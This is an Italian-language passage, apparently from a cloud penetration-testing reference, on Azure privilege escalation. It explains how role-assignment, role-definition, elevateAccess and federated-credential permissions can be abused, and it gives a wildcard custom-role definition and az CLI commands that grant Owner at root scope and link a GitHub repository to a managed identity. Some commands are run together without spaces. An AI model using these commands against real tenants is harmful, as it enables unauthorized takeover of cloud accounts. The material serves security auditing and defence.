Questo permesso consente di assegnare ruoli a soggetti su un ambito specifico, consentendo a un attaccante di elevare i privilegi assegnando a se stesso un ruolo più privilegiato:
Questo permesso consente di modificare i permessi concessi da un ruolo, consentendo a un attaccante di elevare i privilegi concedendo più permessi a un ruolo che ha assegnato.
Crea il file role.json con il seguente contenuto:
{"Name":"<name of the role>","IsCustom":true,"Description":"Custom role with elevated privileges","Actions": ["*"],"NotActions": [],"DataActions": ["*"],"NotDataActions": [],"AssignableScopes": ["/subscriptions/<subscription-id>"]}
Poi aggiorna i permessi del ruolo con la definizione precedente chiamando:
azroledefinitionupdate--role-definitionrole.json
Microsoft.Authorization/elevateAccess/action
Questa autorizzazione consente di elevare i privilegi e di poter assegnare autorizzazioni a qualsiasi principale per le risorse Azure. È destinata a essere concessa agli Amministratori Globali di Entra ID in modo che possano gestire anche le autorizzazioni sulle risorse Azure.
Penso che l'utente debba essere Amministratore Globale in Entra ID affinché la chiamata di elevazione funzioni.
# Call elevateazrest--methodPOST--uri"https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"# Grant a user the Owner roleazroleassignmentcreate--assignee"<obeject-id>"--role"Owner"--scope"/"
Questo permesso consente di aggiungere credenziali federate alle identità gestite. Ad esempio, dare accesso a Github Actions in un repo a un'identità gestita. Quindi, consente di accedere a qualsiasi identità gestita definita dall'utente.
Esempio di comando per dare accesso a un repo in Github a un'identità gestita:
# Generic example:azrest--methodPUT \--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \--headers "Content-Type=application/json" \--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'# Example with specific data:azrest--methodPUT \--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \--headers "Content-Type=application/json" \--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'